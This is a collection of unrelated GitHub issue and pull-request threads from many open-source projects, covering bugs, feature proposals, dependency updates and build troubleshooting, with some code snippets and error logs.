Describe the problem

We are automatically converting all fill values for DataFrame.sub to None.
Source code / logs
https://github.com/modin-project/modin/blob/master/modin/pandas/dataframe.py#L1583
cc @magnatelee

I believe these lines have the same problem:
https://github.com/modin-project/modin/blob/master/modin/pandas/dataframe.py#L687
https://github.com/modin-project/modin/blob/master/modin/pandas/dataframe.py#L1189
https://github.com/modin-project/modin/blob/master/modin/pandas/dataframe.py#L1196
https://github.com/modin-project/modin/blob/master/modin/pandas/dataframe.py#L1283
https://github.com/modin-project/modin/blob/master/modin/pandas/dataframe.py#L1417
https://github.com/modin-project/modin/blob/master/modin/pandas/dataframe.py#L1424
https://github.com/modin-project/modin/blob/master/modin/pandas/dataframe.py#L1431
https://github.com/modin-project/modin/blob/master/modin/pandas/dataframe.py#L1438
https://github.com/modin-project/modin/blob/master/modin/pandas/dataframe.py#L1771


logic app standard expression

Describe the Bug with repro steps

go to SLA-SFThalesIntegration-DEV-WE standard logic app
click on request-sf-entitlement-thales workflow
go to Check Create Entitlement Response Condition action, the expression is used here

When using the compose shape in the false flow of the condition mentioned above with the result of the http call Create Entitlement HTTP action, it sometimes picks up the errorResponse.description and sometimes not.
Please suggest how to fix this
What type of Logic App Is this happening in?
Standard (Portal)
Which operating system are you using?
Windows
Are you using new designer or old designer
New Designer
Did you refer to the TSG before filing this issue? https://aka.ms/lauxtsg
Yes
Workflow JSON
No response
Screenshots or Videos

Browser
Edge
Additional context
No response

I used the following code to resolve it.


[Feature] Improve image loading with Next Image

Use Next Image for faster LCP and lower bandwidth
Add sharp as a dependency module
Add @swc/core as a dependency module

@Licoy would you take a look on this PR?

@KennyDizi yes,  thanks


Run tests on Safari 9

We currently only run Safari 8 on OS X 10.10 and Safari 8.1 on the iPhone.
In Safari 9, $log throws errors:
Safari 9.0.0 (Mac OS X 10.11) $log $log.error should pass error if does not have trace FAILED
    TypeError: Attempted to assign to readonly property. in /home/travis/build/angular/angular.js/test/ng/logSpec.js (line 144)
    /home/travis/build/angular/angular.js/test/ng/logSpec.js:144:8
    TypeError: undefined is not an object (evaluating '$log.error') in /home/travis/build/angular/angular.js/test/ng/logSpec.js (line 155)
    /home/travis/build/angular/angular.js/test/ng/logSpec.js:155:11
Safari 9.0.0 (Mac OS X 10.11) $log $log.error should print stack FAILED
    TypeError: Attempted to assign to readonly property. in /home/travis/build/angular/angular.js/test/ng/logSpec.js (line 144)
    /home/travis/build/angular/angular.js/test/ng/logSpec.js:144:8
    TypeError: undefined is not an object (evaluating '$log.error') in /home/travis/build/angular/angular.js/test/ng/logSpec.js (line 162)
    /home/travis/build/angular/angular.js/test/ng/logSpec.js:162:11
Safari 9.0.0 (Mac OS X 10.11) $log $log.error should print line FAILED
    TypeError: Attempted to assign to readonly property. in /home/travis/build/angular/angular.js/test/ng/logSpec.js (line 144)
    /home/travis/build/angular/angular.js/test/ng/logSpec.js:144:8
    TypeError: Attempted to assign to readonly property. in /home/travis/build/angular/angular.js/test/ng/logSpec.js (line 169)
    /home/travis/build/angular/angular.js/test/ng/logSpec.js:169:8

It looks like Safari handles the properties sourceURL and line as non-deletable/read-only. Anyhow, we do not really need e to be an Error as just replacing logSpec.js@141 to
function MockError() {}
MockError.prototype = Error.prototype;
e = new MockError('');

makes Safari happy

Fixed the $log errors independently by a1ff35850c213d4da5cb11f214c5c917ca0639cf
But we will still have problems with ES6 classes on Safari 9


Alarmdelay

Add alarm delay event support in WebSocket for: https://github.com/bropat/eufy-security-client/pull/155

implemtented. Thx!


handle tgz+https correctly

https://webrtc.googlesource.com/src.git/+/c276aee4eda7b1a466b139838f20e790bd746309
https://webrtc.googlesource.com/src.git/+archive/c276aee4eda7b1a466b139838f20e790bd746309.tar.gz
$ ./yesiscan --yes-backend-spdx https://webrtc.googlesource.com/src.git/+/c276aee4eda7b1a466b139838f20e790bd746309
main: Hello from purpleidea! This is yesiscan, version: a7b0f71
main: prefix: /home/ANT.AMAZON.COM/purple/.cache/yesiscan/
main: input: https://webrtc.googlesource.com/src.git/+/c276aee4eda7b1a466b139838f20e790bd746309
main: i'm not sure how to parse this URI, please report this if you think I should be able to!
main: failed: i'm not sure how to parse this uri

@RaunakBose want to try this one?

@RaunakBose want to try this one?

Yes I can try this.

Is this done @amznpurple ?

This is already fixed.


Color : a darker green

This commit makes the whole page disappear. Sorry for merging too early. I'll try to investigate.


add tidal app

A followup to https://github.com/electron/electron.atom.io/pull/550

Gonna go ahead and ship this. 🎵


[feat] [tiered-storage] Add pure S3 provider for the offloader

Motivation
There have some cloud storages are compatible with S3
APIs, such as aliyun-oss. Some other storages also use
the S3 APIs and want to offload the data into them, but
we only support the AWS or the Aliyun.
The PR https://github.com/apache/pulsar/pull/8985 provides
the Aliyun offload provider, but it has a force limitation of
the S3Constants.PROPERTY_S3_VIRTUAL_HOST_BUCKETS. That
is not a limitation on other storage services which compatible
with S3 APIs.
This PR provides  a more general offload provider S3 which uses
pure JClouds S3 metadata and allows people to override the
default JClouds properties through system properties.
Modifications

Add the pure S3 offload provider

Verifying this change

[ ] Make sure that the change passes the CI checks.

(Please pick either of the following options)
This change is a trivial rework / code cleanup without any test coverage.
(or)
This change is already covered by existing tests, such as (please describe tests).
(or)
This change added tests and can be verified as follows:
(example:)

Added integration tests for end-to-end deployment with large payloads (10MB)
Extended integration test for recovery after broker failure

Does this pull request potentially affect one of the following parts:
If yes was chosen, please highlight the changes

Dependencies (does it add or upgrade a dependency): (yes / no)
The public API: (yes / no)
The schema: (yes / no / don't know)
The default values of configurations: (yes / no)
The wire protocol: (yes / no)
The rest endpoints: (yes / no)
The admin cli options: (yes / no)
Anything that affects deployment: (yes / no / don't know)

Documentation
Check the box below or label this PR directly.
Need to update docs?

[x] doc-required
(Your PR needs to update docs and you will update later)

[ ] no-need-doc
(Please explain why)

[ ] doc
(Your PR contains doc changes)

[ ] doc-added
(Docs have been already added)

Doc status update
@zymap will add docs for this new provider soon.


Parameterize by the runner used when building SDKs

Fixes #554
Extend the runner config option to include buildSdk. Follow up commits set runner.buildSdk to pulumi-ubuntu-8core for aws and azure.

I'm waiting on https://github.com/pulumi/pulumi-aws/pull/2792 to go fully green, then I'll merge. I don't expect problems here though.

So it doesn't fix #554 btw because native providers. Tough .


evaluate system date logic

This discussion started there but is related to the core. Basically:

saving the same timestamp in two different representations (GMT and localized) is useless and increases the probability of error
reading a localized date and assuming a time offset is error-prone as well (see my example above, changing the time zone)

Proposed change:

Store only the GMT value.
Save the timezone offset in a separate field, to preserve the information if anybody needs this.
Removed the localized date.

cc @michael-e

Breaking change, so bump.


Upgrade freckle-app

freckle-app has been upgraded to include more stats collection. We
want to use this in fancy-api and tts.

Most of the change in this LTS is preperation for GHC 9 and Aeson 2.

Why 18.15 and not 18.14? And why is the recently created snapshot moved versus creating a new snapshot?

18.15 is the latest.
This is not a moved snapshot. I did move the one I just created in this commit stream, as it has not been merged yet.

Ah yeah I got confused looking at a single commit


[API] Set Property API for Neural Network Layer

. Implement Set Property API for Neural Network Layer

Each layer has setProperty methods with its own Property enum
class.
Layer Class has virtual setProperty Class
Seperate parseType and make parse_util.h & cpp to use other
files.
Use TensorDim for Define demesion of hidden layer

Changes proposed in this PR:

Added TOC generator for README.md

Resolves:
Self evaluation:

Build test:	 [X]Passed [ ]Failed [ ]Skipped
Run test:	 [X]Passed [ ]Failed [ ]Skipped

Signed-off-by: jijoong.moon<EMAIL_ADDRESS>

:memo: TAOS-CI Version: 1.4.20191203. Thank you for submitting PR #80. Please a submit 1commit/1PR (one commit per one PR) policy to get comments quickly from reviewers. Your PR must pass all verificiation processes of cibot before starting a review process from reviewers. If you are new member to join this project, please read manuals in documentation folder and wiki page. In order to monitor a progress status of your PR in more detail, visit http://ec2-54-180-96-14.ap-northeast-2.compute.amazonaws.com/.

:octocat: cibot: @jijoongmoon, A builder checker could not be completed because one of the checkers is not completed. In order to find out a reason, please go to http://ec2-54-180-96-14.ap-northeast-2.compute.amazonaws.com/nntrainer/ci/repo-workers/pr-checker/80-202005071532540.51687598228455-15b329fbc0608ffd3c2cd23809fc56caf73c52a2/.

:octocat: cibot: @jijoongmoon, A builder checker could not be completed because one of the checkers is not completed. In order to find out a reason, please go to http://ec2-54-180-96-14.ap-northeast-2.compute.amazonaws.com/nntrainer/ci/repo-workers/pr-checker/80-202005071543380.22592401504517-659a623be92338eb37001d4dcf8e7e3dd96cda48/.

:octocat: cibot: @jijoongmoon, A builder checker could not be completed because one of the checkers is not completed. In order to find out a reason, please go to http://ec2-54-180-96-14.ap-northeast-2.compute.amazonaws.com/nntrainer/ci/repo-workers/pr-checker/80-202005071604260.14067888259888-19916b1ee4c1b336a5614fd16ff7328c4b162e90/.

:octocat: cibot: @jijoongmoon, A builder checker could not be completed because one of the checkers is not completed. In order to find out a reason, please go to http://ec2-54-180-96-14.ap-northeast-2.compute.amazonaws.com/nntrainer/ci/repo-workers/pr-checker/80-202005071618470.48971700668335-5d76d6d28e905a0da08a53e7a7c93aaed8511fb3/.


Revert "kafka: FIXES images/updates SendNotifications."

Reverts RedHatInsights/edge-api#1878

/retest


error building atom on archlinux (script/build) with gcc/c++ version 5.2

I have had two issues so far building atom from scratch, one I was able to workaround the other one I need help with. After I cloned this repo to my computer I installed the required packages etc. and then I used the script/build script which gave me this error. I followed these instructions.
Node: v4.1.1
npm: v3.3.4
Installing build modules...
npm ERR! Linux 4.1.6-1-ARCH
npm ERR! argv "/usr/bin/node" "/usr/bin/npm" "--userconfig=/home/linkan/src/atom/build/.npmrc" "install" "--loglevel" "error"
npm ERR! node v4.1.1
npm ERR! npm  v3.3.4
npm ERR! code EREADFILE

npm ERR! Error extracting /home/linkan/.atom/.npm/cson-safe/1.0.4/package.tgz archive: ENOENT: no such file or directory, open '/home/linkan/.atom/.npm/cson-safe/1.0.4/package.tgz'
npm ERR!
npm ERR! If you need help, you may report this error at:
npm ERR!     <https://github.com/npm/npm/issues>

npm ERR! Please include the following file with any support request:
npm ERR!     /home/linkan/src/atom/build/npm-debug.log

I looked into the /home/linkan/.atom/.npm/cson-safe/ directory and saw that there was indeed no directory with the name 1.0.4, instead there was the 1.0.5 directory. As a workaround I did this:
ln -nsf /home/linkan/.atom/.npm/cson-safe/1.0.5 /home/linkan/.atom/.npm/cson-safe/1.0.4
As to the second issue I believe it has something to do with the version of gnu c++ compiler installed on my system which is currently 5.2.0. The output (again partialy in swedish) of running script/build is below
Node: v4.1.1
npm: v3.3.4
Installing build modules...
 System Linux 4.1.6-1-ARCH
gyp ERR! command "/usr/bin/node" "/usr/lib/node_modules/npm/node_modules/node-gyp/bin/node-gyp.js" "rebuild"
gyp ERR! cwd /home/linkan/src/atom/build/node_modules/runas
gyp ERR! node -v v4.1.1
gyp ERR! node-gyp -v v3.0.3
gyp ERR! not ok
npm ERR! Linux 4.1.6-1-ARCH
npm ERR! argv "/usr/bin/node" "/usr/bin/npm" "--userconfig=/home/linkan/src/atom/build/.npmrc" "install" "--loglevel" "error"
npm ERR! node v4.1.1
npm ERR! npm  v3.3.4
npm ERR! code ELIFECYCLE

npm ERR<EMAIL_ADDRESS>install: `node-gyp rebuild`
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the<EMAIL_ADDRESS>install script 'node-gyp rebuild'.
npm ERR! This is most likely a problem with the runas package,
npm ERR! not with npm itself.
npm ERR! Tell the author that this fails on your system:
npm ERR!     node-gyp rebuild
npm ERR! You can get their info via:
npm ERR!     npm owner ls runas
npm ERR! There is likely additional logging output above.

npm ERR! Please include the following file with any support request:
npm ERR!     /home/linkan/src/atom/build/npm-debug.log

See the npm-debug.log for details.
P.S if I skip part 2 (Checkout the latest Atom release) it seems to work fine, but that will build the atom from the master branch which I believe is unstable?

Your problem is that you're using Node 4, which the latest release doesn't support yet.  master, as you've already figured out, does :smile:.
In general, master isn't too unstable - I really haven't ever had a problem with it.  Alternatively, you can try the beta branch which should be more stable than master.

@50Wliu Alright, I'll just use the latest code because that will probably save alot of time.


enforce random sampling at first call in kornia parallell transforms

What does this PR do?
enables to reuse the transforms parameters for kornia transforms in different calls
Before submitting

[ ] Was this discussed/approved via a Github issue? (no need for typos and docs improvements)
[ ] Did you read the contributor guideline, Pull Request section?
[ ] Did you make sure your PR does only one thing, instead of bundling different changes together?
[ ] Did you make sure to update the documentation with your changes?
[ ] Did you write any new necessary tests? [not needed for typos/docs]
[ ] Did you verify new and existing tests pass locally with your changes?
[ ] If you made a notable change (that affects users), did you update the CHANGELOG?

PR review

[ ] Is this pull request ready for review? (if not, please submit in draft mode)

Anyone in the community is free to review the PR once the tests have passed.
If we didn't discuss your PR in Github issues there's a high chance it will not be merged.
Did you have fun?
Make sure you had fun coding 🙃

Hello @edgarriba! Thanks for updating this PR.

In the file tests/core/data/test_transforms.py:

Line 110:59: E711 comparison to None should be 'if cond is None:'


Javascript for shop module(s)

Should we create a separate submodule for shop javascript to be maintained in?
I've always held the position that the module shouldn't rely on javascript. That is, it should at least have fallbacks to full page refreshes etc. I also don't want people to be locked into using a particular set of javascript. This is something I like about SilverStripe itself.
However, I know that a javascript laden e-commerce experience will make it much quicker to use. Our lives would be a bit easier if this javascript lived somewhere where we can all contribute to, and collaborate on it.
To get a javascript/ajax rich ui working nicely, we're probably going to need to make some core code changes. I've discussed this a little with @wilr , where we thought a possible solution could be re-writing the SS_HTTPResponse objects via decorator callbacks so they contain some json, rather than redirect headers.
I would even be open to someone else heading up this effort, and I can offer any assistance & opinions required.

Thanks for your work on this Mark! Really appreciate the time/effort.
Would you say we can now close this issue?

If you're happy with this solution, I'm happy, Jeremy. I'm still open to merging the shop-ajax module into core though if you'd prefer. This gives users the most flexibility. I'll add shop-ajax as a suggested module.

Can you clarify which approach you think gives the most flexibility? + why
For me, having just the hooks means that I don't need to worry about maintaining any javascript or related server side code.

Sorry for being unclear. It is most flexible to have them in two different modules. This way if someone doesn't like the particular ajax approach I've chosen they can write their own ajax extensions. It sounds like we're on the same page here that leaving them separate is best.


Proposal: Special ChatID type to describe Recipient only by its integer ID

Something like ChatID helper type which is actually int64 that implements Recipient interface and returns itself. It would make work with specific chat IDs much easier.
Before:
type Config struct {
    AdminGroupID int64
}

b.Send(&tb.Chat{ID: conf.AdminGroupID}, "message")

After:
type Config struct {
    AdminGroup tb.ChatID
}

b.Send(conf.AdminGroup, "message")

Just implemented that https://github.com/tucnak/telebot/commit/183d6484d924526ec19aa426d917a09a2d5fd1b7.
The possible problem is that you can't represent a string username as a recipient. But on the other hand, ChatID type is about ID, not Name.
// ChatID represents a chat or an user integer ID, which can be used
// as recipient in bot methods. It is very useful in cases where
// you have special group IDs, for example in your config, and don't
// want to wrap it into *tb.Chat every time you send messages.
//
// Example:
//
//		group := tb.ChatID(-100756389456)
//		b.Send(group, "Hello!")
//
//		type Config struct {
//			AdminGroup tb.ChatID `json:"admin_group"`
//		}
//		b.Send(conf.AdminGroup, "Hello!")
//
type ChatID int64

// Recipient returns chat ID (see Recipient interface).
func (i ChatID) Recipient() string {
	return strconv.FormatInt(int64(i), 10)
}


fix error

error: can't evaluate field Capabilities in type interface {}
helm version: 3.6.3
kubernets: 1.20

@chengshiwen wanna take a look? Since you added this

This bug is my mistake. I didn’t notice the scope and tested it😭

This bug is my mistake. I didn’t notice the scope and tested it😭

Thanks for confirming!!


Resolve upload memory leaks

Since it's not possible to split a file upload into multiple chunks, the memory usage while uploading files to the browser increases according to the size of the file (e.g. 1GB of file size -> 1GB of RAM used).
Since this limits our users from uploading files that are bigger than the remaining memory through WebUI, this is probably important for most users.
As discussed, a better alternative to HTTP uploads would be to use RPC.
Relevant participants:
@achingbrain
@hugomrdias
@gozala

@rafaelramalho19 I believe it is possible to upload without loading it all into memory through ReadableStream of a fetch body.
It is possible by creating a Readable Stream which reads file slices on pull instead of reading the whole file into memory

I believe this was fixed in https://github.com/ipfs-shipyard/ipfs-webui/pull/1534


Creating a visualization from a dataset view doesn't refresh the UI

only does it after refreshing the page.
Important to fix @javisantana  @Kartones @juanignaciosl

Cannot reproduce in live.
Having 'https://team.cartodb.com/u/kartones/tables/TABLENAME', I click on "Visualize" and I correctly go to https://team.cartodb.com/u/kartones/viz/VIS_ID/table.
Maybe something related with new modals? I don't have them active, so will try

Having new_modals flag enabled:
From Dataset view, I click "publish" -> "Ok, create a map", the url changes to https://team.cartodb.com/u/kartones/viz/VIS_ID/table and if I click cancel I'm already at the Map view.
So, for me this is the expected behaviour and everything is normal.
If fails to you please reopen & provide me with detailed instructions of how to reproduce, expected and actual behaviour and if there's any other special feature flag I should have activated.

It fails. You are not getting the details UI related on this. Gonna show to @xavijam

Taking care of it,

Seems like we have VISUALIZE - PUBLISH button always as "publish", no matter if it is a dataset or map view. Should we change or leave it as it is?
Dataset:

Map:

Yep thats a bug
On Jun 1, 2015 12:04 PM, "Javier Álvarez Medina"<EMAIL_ADDRESS>wrote:

Seems like we have VISUALIZE - PUBLISH button always as "publish", no
matter if it is a dataset or map view. Should we change or leave it as it
is?
Dataset:
[image: screen shot 2015-06-01 at 12 02 04]
https://cloud.githubusercontent.com/assets/132146/7910569/355eea1e-0856-11e5-9731-9b61d7408ec8.png
Map:
[image: screen shot 2015-06-01 at 12 04 09]
https://cloud.githubusercontent.com/assets/132146/7910580/5489d2e6-0856-11e5-9567-1d332d7818cd.png
—
Reply to this email directly or view it on GitHub
https://github.com/CartoDB/cartodb/issues/3825#issuecomment-107386415.


[SMALLFIX]

Use @Nullable annotation for method(s) which may return null in alluxio.master.file.meta.getBucketContaining.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/571/
Test PASSed.

alluxio-bot, check this please


makemkv: 1.12.2 -> 1.12.3

Changelog: http://www.makemkv.com/download/history.html
Motivation for this change
1.12.2 download URL expired, new release provides many small improvements.
Things done

[x] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nox --run "nox-review wip"
[x] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[x] Fits CONTRIBUTING.md.

unfree package, build checked locally.


Update trace4cats-context-utils, ... to 0.14.4

About this PR
📦 Updates

io.janstenpickle:trace4cats-context-utils
io.janstenpickle:trace4cats-core
io.janstenpickle:trace4cats-kernel
io.janstenpickle:trace4cats-testkit

from 0.14.0 to 0.14.4
📜 GitHub Release Notes - Version Diff
Usage
✅ Please merge!
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention me in the comments below.
Configure Scala Steward for your repository with a .scala-steward.conf file.
Have a fantastic day writing Scala!

🔍 Files still referring to the old version number
The following files still refer to the old version number (0.14.0).
You might want to review and update them manually.
README.md

⚙ Adjust future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "io.janstenpickle" } ]

Or, add this to slow down future updates of this dependency:
dependencyOverrides = [{
  pullRequests = { frequency = "30 days" },
  dependency = { groupId = "io.janstenpickle" }
}]

labels: library-update, early-semver-minor, semver-spec-patch, version-scheme:early-semver, old-version-remains, commit-count:1

Superseded by #261.


Modal with image is not centered first time

Hi Stephan,
Best Modal solution around, I tried many before yours, well done!
Possibly not an issue, hopefully you can help me please:
I've created a modal to display an image (base64), I've set the image in 'content' with an img tag.  On first opening, the modal is not centered.  If the modal is closed and re-opened it is centered, any idea?
Here is the code with all the options I've tried:
function displayPhoto(id) {
	var photoModal = new jBox('Modal', {
	  content: '',
	  width: 'auto',
	  height: 'auto',
	  position: { x: 'center', y: 'center' },
	  repositionOnOpen: true,
	  constructOnInit: true,
	  adjustPosition: true,
	  adjustTracker: true,
	  overlay: true,
	  draggable: 'title',
	  title: 'Photo',
	  theme: 'ModalBorder',
	  closeButton: 'title'
	});

	photoModal.open();
}

Thanks.

Yea, so the problem is that the image is not loaded when jBox opens. Then the image has height="0" and width="0". Therefore jBox calculates the centered position with a content that has no dimension. Then when the image is loaded jBox can calculate the correct position, thats why it works the second time you open it.
There are a few ways to resolve this:

Give the image an width and height. e.g.  content: ''

A bit more complicated, but you could add a loader when jBox opens, and then load the image manually. Once the image is loaded, append it to the content area and then call the method .position().

See if the image plugin is an option for your case: https://stephanwagner.me/jBox/get_started#images

Preload the images

Let me know if you need some more help with one of these options.

Hi Stephan,
Apologies for not getting back to you sooner..
Perfect, thanks for the options.  After researching directly after I posted this, I thought it might be down to missing the width and height, so I'm glad you confirmed it.
Here's the solution I came up with (I don't think I need all the options though!):
	var img = new Image();
	img.src = photos[id];

	img.onload = function() {
		var photoModal = new jBox('Modal', {
	  		content: '',
	  		width: 'auto',
	  		height: 'auto',
	  		position: { x: 'center', y: 'center' },
	  		repositionOnOpen: true,
	  		constructOnInit: true,
	  		adjustPosition: true,
	  		adjustTracker: true,
	  		overlay: true,
	  		draggable: 'title',
	  		title: 'Photo',
	  		theme: 'ModalBorder',
	  		closeButton: 'title'
		});

		photoModal.open();
	}

Thanks.


0.5: joins with type page should support getting children

a join with type page now supports a children option, which can be true for depth 1, or an object with a depth option see 3710f4b


Add AppendingPublisher

We have PrependingPublisher to publish ResponseHeaders and body in a StreamMessage.
Similarly, we can add AppendingPublisher to publish body and HTTP trailers more efficiently.
https://github.com/line/armeria/pull/3941/files#diff-49835ea697b34bf3e0ab8a3ff16c98d126fa25fc1068351a1320933ff307706fL399

I will work on this issue.


Print date and time in smartctl output tab

Since multiple ones for the same disk can be shown, add a date and time.
They are ordered but doing it more than twice gets confusing otherwise.

In every smart tab there is the date and the time

pretty print is the point asd

Ok let's use #51 for this


How can I add a class on false condition?

I have the following code:
<button rv-on-click="app.togglePlay" rv-class-playing="app.isPlaying | eq true" rv-class-not-playing="app.isPlaying | eq false">Play/Pause</button>
I'm trying to trigger a class if app.isPlaying is true and another class if it's false.
How can I do this with Rivets?

Is the above not working?

An alternative would be:
<button rv-on-click="app.togglePlay" rv-class-playing="app.isPlaying" rv-class-not-playing="app.isPlaying | not">
  Play/Pause
</button>

rivets.formatters.not = function(x) {
  return !x
}

Closing this for now, please say if this is not resolved.


Abstraction of wire serializartion (Draft PR)

The scope of this PR is to implement changes described in step 1 in #233.
Move the encoding/decoding logic  from package pkg/io to wire/perun and the associated generic test helpers from pkg/io/test' to wire/test.

Closed. See #233 for more details.


[Enhancement]: Return different cached output based on system prompt used

What would you like to be added?
Support specifing a handler similar to pre_embedding_func which returns a version / unique tag for system prompt used for request, and which is then stored alongside with cache data & embedding data. This version / unique tag should also be considered when searching embedding data & fetching final cache data.
Why is this needed?
I am working on a project where different type of information is extracted from same user prompt based on task at hand. For instance, one API call will be used to identify user intent, and next API call will be used to generate a YAML using intent identified in last request. Now, in this scenario both time user prompt is same but system prompt is different. Since, system prompt is much larger compared to user prompt, a very high threshold need to be set for similarity evaluation in this case (cache embedding is calculated for combined system prompt + user prompt text) which is often much worse than performing similarity evaluation on just user prompt.
Anything else?
No response

Hi, @transhapHigsn Are there many different system prompts you used?

Yes, generally I use two sets of system prompts, and both system prompts have different response structure defined. One for identifying user intent (there are lot of actions that can be performed, but I can't include all of that prompts in single system prompt, so I'm using this approach), and other for performing actual task, that is, generating YAML from user prompt.
Also, there is scenario of fixing issues in system prompt. In such cases, I have to remove everything from vector DB to ensure it doesn't return invalid model response.

Thank you for considering this. I will be happy to help out here if you can guide me how you want this to be developed.

Hi! I’m one of the founders of Sweep, a github app that solves issues by writing pull requests.
This looks like a good issue for Sweep https://github.com/sweepai/sweep to try. We have onboarding instructions here, I’m also happy to help you onboard directly :)

Hey, we had a little bit of a similar thing:
depending on the locale, which we only know of when the user makes a request and it's part of the locale, we need to dynamically decide which context to fetch from qdrant (each locale has it's onw context that's significantly different think eg. tax rates per country)

I'm experimenting a bit with using a decorator based approach of a sort that requires reintiialisation of the cache each time we process the request and dynamically changes the collection name in qdrant store
pre-allocation of the cache for all the locales and keeping them in memory permanently, each one with a different collection nam
most hacky-buggy  i think: adding a hash of the locale in front of the request so that the general similarity goes down, so even though they'd be in one collection, they wouldn't get fetched.

For us the dream solution would be to able to dynamically change the collection_name that gptcache uses for lookup in qdrant.
I'm happy to help with the implementation and share my findings.

For us the dream solution would be to able to dynamically change the collection_name that gptcache uses for lookup in qdrant.

This is similar to multiple cache objects.
Of course, I am also looking forward to your implementation plan.


image files for mouse embryos

Hi Margherita,
Thanks for your great work and sharing the data and code.I am using your mouse embryos spatial-ATAC data in mu project. While I have some problems in adding the image files and position files in my Seurat object. I have seen that you using 10x cellranger count to process the spatial-ATAC, I wonder know do you have tied to use space ranger count to process? Or do you have the scalefactors_json.json file or do you know how to generate the files? Which may help us add the spatial information to the object easier, thanks!
All the best,
Danni

Dear Danni,
Thank you for reaching out and for your interest in our data.
Indeed it's not straightforward to add the spatial information to the object.
This is what we did in brief:
We treated the data as if they were scATAC-seq data and mapped them with Cellranger-ATAC, so we disregarded the spatial information at this stage (we couldn't use Spatial ranger because it doesn't support our type of data).
The spatial information was, thus, added manually afterwards: we loaded the images in Loupe and got the coordinates in a tsv file (which is the one you can find in our meta directory).
Then we calculated the scale factors and used this together with coordinates and images to create an STutility object. This is a Seurat object that contains the spatial data under object@tools[["Staffli"]].
Because this tools is also developed for spatial transcriptomics (and not spatial ATAC), we had to add the chromatin accessibility data manually. For this, the easier way was to create two objects, a Signac object built from Cellranger-ATAC output and a STutility object containing the spatial info (i.e.,  Staffli).
We finally just copied the Staffli info over to the Signac object.
I hope this explanation makes the code more clear.  You find all the code needed at: https://github.com/marzamKI/spatial_atac/blob/main/code/embryo_createobj.R.
In particular:

Create coordinate file compatible with STutility from the tissue.tsv files uploaded in meta.

# make tissue position files
for(i in seq_along(dirs)){
  spotfile <- read.table(infoTable$tissue_paths[i], sep = "\t", header = T)

  spotfile_tissue <- cbind(
    spotfile$row, #array_row
    spotfile$col, #array_col
    spotfile$x, #pxl_row_in_fullres
    spotfile$y #pxl_col_in_fullres
  ) %>% as.data.frame()
  tissue <- rep(1, nrow(spotfile_tissue))
  spotfile_tissue <- cbind(tissue, spotfile_tissue)
  rownames(spotfile_tissue) <- paste0(spotfile$barcode, "-1")

  # save new tissue position file with the correct columns for creating STutility object
  write.csv(spotfile_tissue,
            paste0(strsplit(infoTable$tissue_paths[i], "tsv"), "csv"))

}

Load data, tissue coordinates, and images to create ST object

# add image
# image is manually cropped so that it only shows the capture area
table <- list()
for(i in dirs){
  table[[i]] <- c(samples = paste0("data/", i, "/outs/encode_peak_bc_matrix_gr12_13_15.h5"),
                  spotfiles = paste0("meta/", i, "_tissue.csv"),
                  imgs = paste0("images/", i, "_cropped.jpg"))
}

infoTable <- do.call("rbind", table) %>% as.data.frame()

Calculate scale factors

for (i in 1:length(dirs)) {
  # Read *_tissue.csv file
  xy.raw <- setNames(read.csv(file = infoTable$spotfiles[i]),
                     nm = c("barcode", "tissue", "y", "x", "pixel_y", "pixel_x"))
  xy <- xy.raw[, c("x", "y")]

  img_path <- infoTable$imgs[i]
  img <- readJPEG(img_path)

  sf <- c(ncol(img)/128, nrow(img)/78)
  xy$x <- xy$x*sf[1]
  xy$y <- xy$y*sf[2]

  # Create a new spot selection table with proper image pixel coordinates which match the cropped images
  spotfile <- data.frame(xy.raw$barcode, xy.raw$tissue, xy.raw$y, xy.raw$x, round(xy$y), round(xy$x))
  write.table(spotfile, file = paste0(strsplit(infoTable$spotfiles[i], ".csv"), "_positions_list.csv"),
              sep = ",", quote = F, row.names = F, col.names = F)
}

Create ST object

infoTable$spotfiles <- paste0(strsplit(infoTable$spotfiles, ".csv"), "_positions_list.csv")
se <- InputFromTable(infoTable, scaleVisium = 1)
se <- LoadImages(se, time.resolve = F)

Copy spatial info over to the Signac object

combined@tools[["Staffli"]] <- se@tools$Staffli

Let me know if you have any more issues or question!


Doesn't work for my iCT220

When trying to do the following:
How to enable computer liaison with Ingenico device
Press "F" button
Press 0 - Telium Manager
Press 5 - Init
Press 1 - Param
Select - Checkout
Select "Enable"
Choose your prefered interface (USB, COM1, COM2)
There is no checkout option. I do have a cash connection option which I enabled. It doesn't give me an option to choose USB though. My M2OS is 47787809.
Any suggestions?

Hi,
Sorry for the delay, but unless I could see your device, I am not going to be able to help.
What OS are you running ?
What cable are you using ?
What hardware are you using ? iwl ?

When trying to do the following:
How to enable computer liaison with Ingenico device
Press "F" button
Press 0 - Telium Manager
Press 5 - Init
Press 1 - Param
Select - Checkout
Select "Enable"
Choose your prefered interface (USB, COM1, COM2)
There is no checkout option. I do have a cash connection option which I enabled. It doesn't give me an option to choose USB though. My M2OS is 47787809.
Any suggestions?

Hi did you ever fix this?


forwardport: Cluster Private Registry setting not adhered to when pulling rancher-agent image during Node Driver cluster provisioning

forward port: https://github.com/rancher/rancher/issues/26366

I will hold off on merging the linked forwardport PRs until the original issue has been tested and validated by QA

I will hold off on merging the linked forwardport PRs until the original issue has been tested and validated by QA

I was able to successfully add a DO cluster through an insecure private registry on v2.5.6-rc3
all images were pulled through the private registry successfully.
Repro steps:

create rancher server on version 2.5.6-rc3
create private registry
configure private registry for insecure access, download load/save images for release 2.5.6-rc3
create DO template in rancher, pointing to your insecure private registry
add  Digital Ocean Node Driver cluster with Private Registry configured
wait for new cluster to provision, login to cluster and docker ps to verify source of images all match your private registry

(note: insecure private registry not required for repro)
I was able to validate the following on 2.5.6-rc3
Scenario 1
While creating a node driver cluster, the incorrect username and/or password are specified in the private registry configuration.

Result:
When navigating to Cluster > Nodes, the user will see an authentication error for each node

Solution:
